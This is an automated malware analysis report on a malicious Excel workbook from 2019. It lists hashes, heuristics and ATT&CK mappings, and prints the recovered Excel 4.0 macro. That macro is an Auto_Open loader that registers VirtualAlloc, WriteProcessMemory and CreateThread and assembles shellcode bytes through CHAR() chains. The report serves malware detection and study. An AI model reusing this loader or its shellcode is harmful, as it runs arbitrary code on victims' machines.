Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 623cc41ec658f851…

MALICIOUS

Office (OLE)

37.0 KB Created: 2019-01-23 06:26:38 Authoring application: Microsoft Excel First seen: 2019-05-16
MD5: 7da838eeb03fe909b14a34d4f99ba4b1 SHA-1: a3cd84fdcbf0ab4cd831191be6b034273829988c SHA-256: 623cc41ec658f85109fca44815f4dbcca914ef0d250a04af7dcfb7d650632f09
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros with an Auto_Open entry, which is a critical finding. The macros reference dangerous API functions like VirtualAlloc and WriteProcessMemory, indicating an attempt to allocate memory and write shellcode. This suggests the file is designed to execute arbitrary code, likely as a downloader or initial payload dropper.

Heuristics 6

  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 5789 bytes
SHA-256: 3e5b5801181a22cab6f09251f733f5c6f4eaee34c9686a92fa78dc6e7744622e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Macro
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Macro!A1 
' 0018     31 LABEL : Cell Value, String Constant - CThread len=9 ptgNum FLOAT -1680080894.000000 
' 0018     31 LABEL : Cell Value, String Constant - VAalloc len=9 ptgNum FLOAT -647561216.000000 
' 0018     30 LABEL : Cell Value, String Constant - VAlloc len=9 ptgNum FLOAT -647561216.000000 
' 0018     38 LABEL : Cell Value, String Constant - WProcessMemory len=9 ptgNum FLOAT -151322623.000000 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Macro,A1,"REGISTER("Kernel32","VirtualAlloc","JJJJJ","VAlloc",,1,9)",""
'  Macro,D1,CHAR(218)&CHAR(216)&CHAR(189)&CHAR(124)&CHAR(118)&CHAR(72)&CHAR(183)&CHAR(217)&CHAR(116)&CHAR(36)&CHAR(244)&CHAR(94)&CHAR(43)&CHAR(201)&CHAR(177)&CHAR(86)&CHAR(49)&CHAR(110)&CHAR(24)&CHAR(3)&CHAR(110)&CHAR(24)&CHAR(131)&CHAR(238)&CHAR(128)&CHAR(148)&CHAR(189)&CHAR(75)&CHAR(144)&CHAR(219)&CHAR(62)&CHAR(180)&CHAR(96)&CHAR(188)&CHAR(183)&CHAR(81)&CHAR(81)&CHAR(252)&CHAR(172)&CHAR(18)&CHAR(193)&CHAR(204)&CHAR(167)&CHAR(119)&CHAR(237)&CHAR(167)&CHAR(234)&CHAR(99)&CHAR(102)&CHAR(197)&CHAR(34)&CHAR(131)&CHAR(207)&CHAR(96)&CHAR(21)&CHAR(170)&CHAR(208)&CHAR(217)&CHAR(101)&CHAR(173)&CHAR(82)&CHAR(32)&CHAR(186)&CHAR(13)&CHAR(107)&CHAR(235)&CHAR(207)&CHAR(76)&CHAR(172)&CHAR(22)&CHAR(61)&CHAR(28)&CHAR(101)&CHAR(92)&CHAR(144)&CHAR(177)&CHAR(2)&CHAR(40)&CHAR(41)&CHAR(57)&CHAR(88)&CHAR(188)&CHAR(41)&CHAR(222)&CHAR(40)&CHAR(191)&CHAR(24)&CHAR(113)&CHAR(35)&CHAR(230)&CHAR(186)&CHAR(115)&CHAR(224)&CHAR(146)&CHAR(242)&CHAR(107)&CHAR(229)&CHAR(159)&CHAR(77)&CHAR(7)&CHAR(221)&CHAR(84)&CHAR(76)&CHAR(193)&CHAR(44)&CHAR(148)&CHAR(227)&CHAR(44)&CHAR(129)&CHAR(103)&CHAR(253)&CHAR(105)&CHAR(37)&CHAR(152)&CHAR(136)&CHAR(131)&CHAR(86)&CHAR(37)&CHAR(139)&CHAR(87)&CHAR(37)&CHAR(241)&CHAR(30)&CHAR(76)&CHAR(141)&CHAR(114)&CHAR(184)&CHAR(168)&CHAR(44)&CHAR(86)&CHAR(95)&CHAR(58)&CHAR(34)&CHAR(19)&CHAR(43)&CHAR(100)&CHAR(38)&CHAR(162)&CHAR(248)&CHAR(30)&CHAR(82)&CHAR(47)&CHAR(255)&CHAR(240)&CHAR(211)&CHAR(107)&CHAR(36)&CHAR(213)&CHAR(184)&CHAR(40)&CHAR(69)&CHAR(76)&CHAR(100)&CHAR(158)&CHAR(122)&CHAR(142)&CHAR(199)&CHAR(127)&CHAR(223)&CHAR(196)&CHAR(229)&CHAR(148)&CHAR(82)&CHAR(135)&CHAR(97)&CHAR(88)&CHAR(95)&CHAR(56)&CHAR(113)&CHAR(246)&CHAR(232)&CHAR(75)&CHAR(67)&CHAR(89)&CHAR(67)&CHAR(196)&CHAR(239)&CHAR(18)&CHAR(77)&CHAR(19)&CHAR(102)&CHAR(52)&CHAR(110)&CHAR(203)&CHAR(192)&CHAR(85)&CHAR(144)&CHAR(236)&CHAR(48)&CHAR(127)&CHAR(87)&CHAR(184)&CHAR(96)&CHAR(23)&CHAR(126)&CHAR(193)&CHAR(235)&CHAR(231)&CHAR(127)&CHAR(20)&CHAR(129)&CHAR(237)&CHAR(23)&CHAR(87)&CHAR(253)&CHAR(162)&CHAR(103)&CHAR(63)&CHAR(255)&CHAR(66)&CHAR(121)&CHAR(156)&CHAR(118)&CHAR(164)&CHAR(41)&CHAR(76)&CHAR(216)&CHAR(121)&CHAR(138)&CHAR(60)&CHAR(152)&CHAR(41)&CHAR(98)&CHAR(87)&CHAR(23)&CHAR(21)&CHAR(146)&CHAR(88)&CHAR(242)&CHAR(62)&CHAR(57)&CHAR(183)&CHAR(170)&CHAR(23)&CHAR(214)&CHAR(46)&CHAR(247)&CHAR(236)&CHAR(71)&CHAR(174)&CHAR(34)&CHAR(137)&CHAR(72)&CHAR(36)&CHAR(198)&CHAR(109)&CHAR(6)&CHAR(205)&CHAR(163)&CHAR(125)&CHAR(127)&CHAR(170)&CHAR(75)&CHAR(126)&CHAR(128),""
'  Macro,A2,"REGISTER("Kernel32","WriteProcessMemory","JJJCJJ","WProcessMemory",,1,9)",""
'  Macro,B2,"",357171200.00000000000000000000
'  Macro,D2,CHAR(95)&CHAR(75)&CHAR(20)&CHAR(132)&CHAR(201)&CHAR(28)&CHAR(128)&CHAR(134)&CHAR(44)&CHAR(106)&CHAR(15)&CHAR(120)&CHAR(27)&CHAR(233)&CHAR(72)&CHAR(134)&CHAR(218)&CHAR(219)&CHAR(35)&CHAR(177)&CHAR(72)&CHAR(99)&CHAR(92)&CHAR(190)&CHAR(156)&CHAR(99)&CHAR(156)&CHAR(232)&CHAR(246)&CHAR(99)&CHAR(244)&CHAR(76)&CHAR(163)&CHAR(48)&CHAR(225)&CHAR(146)&CHAR(126)&CHAR(37)&CHAR(186)&CHAR(6)&CHAR(129)&CHAR(31)&CHAR(110)&CHAR(128)&CHAR(233)&CHAR(157)&CHAR(73)&CHAR(230)&CHAR(181)&CHAR(94)&CHAR(188)&CHAR(116)&CHAR(177)&CHAR(160)&CHAR(66)&CHAR(83)&CHAR(26)&CHAR(200)&CHAR(188)&CHAR(227)&CHAR(154)&CHAR(8)&CHAR(215)&CHAR(227)&CHAR(202)&CHAR(96)&CHAR(44)&CHAR(203)&CHAR(229)&CHAR(64)&CHAR(205)&CHAR(198)&CHAR(173)&CHAR(200)&CHAR(68)&CHAR(135)&CHAR(28)&CHAR(105)&CHAR(88)&CHAR(130)&CHAR(193)&CHAR(55)&CHAR(89)&CHAR(33)&CHAR(218)&CHAR(200)&CHAR(32)&CHAR(74)&CHAR(221)&CHAR(41)&CHAR(213)&CHAR(66)&CHAR(186)&CHAR(42)&CHAR(213)&CHAR(106)&CHAR(188)&CHAR(23)&CHAR(3)&CHAR(83)&CHAR(202)&CHAR(86)&CHAR(151)&CHAR(224)&CHAR(197)&CHAR(237)&CHAR(186)&CHAR(65)&CHAR(76)&CHAR(13)&CHAR(232)&CHAR(146)&CHAR(69)&CHAR(235)&CHAR(254),""
'  Macro,A3,"REGISTER("Kernel32","CreateThread","JJJJJJJ","CThread",,1,9)",""
'  Macro,B7,"",1.00000000000000000000
'  Macro,B8,"",1.00000000000000000000
'  Macro,A9,"SET.VALUE(B9,LEN(D1))",""
'  Macro,B9,"",255.00000000000000000000
'  Macro,A10,"SET.VALUE(B10,LEN(D2))",""
'  Macro,B10,"",115.00000000000000000000
'  Macro,A11,"SET.VALUE(B11,CThread(0,0,B2,0,0,0))",""
'  Macro,B11,"",3772.00000000000000000000
'  Macro,A12,HALT(),""
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 661 bytes
SHA-256: 1246c9002c7e531faa182cc0f6100a2a6cd30765790d47239cf3a3490557540d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub R1C1()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True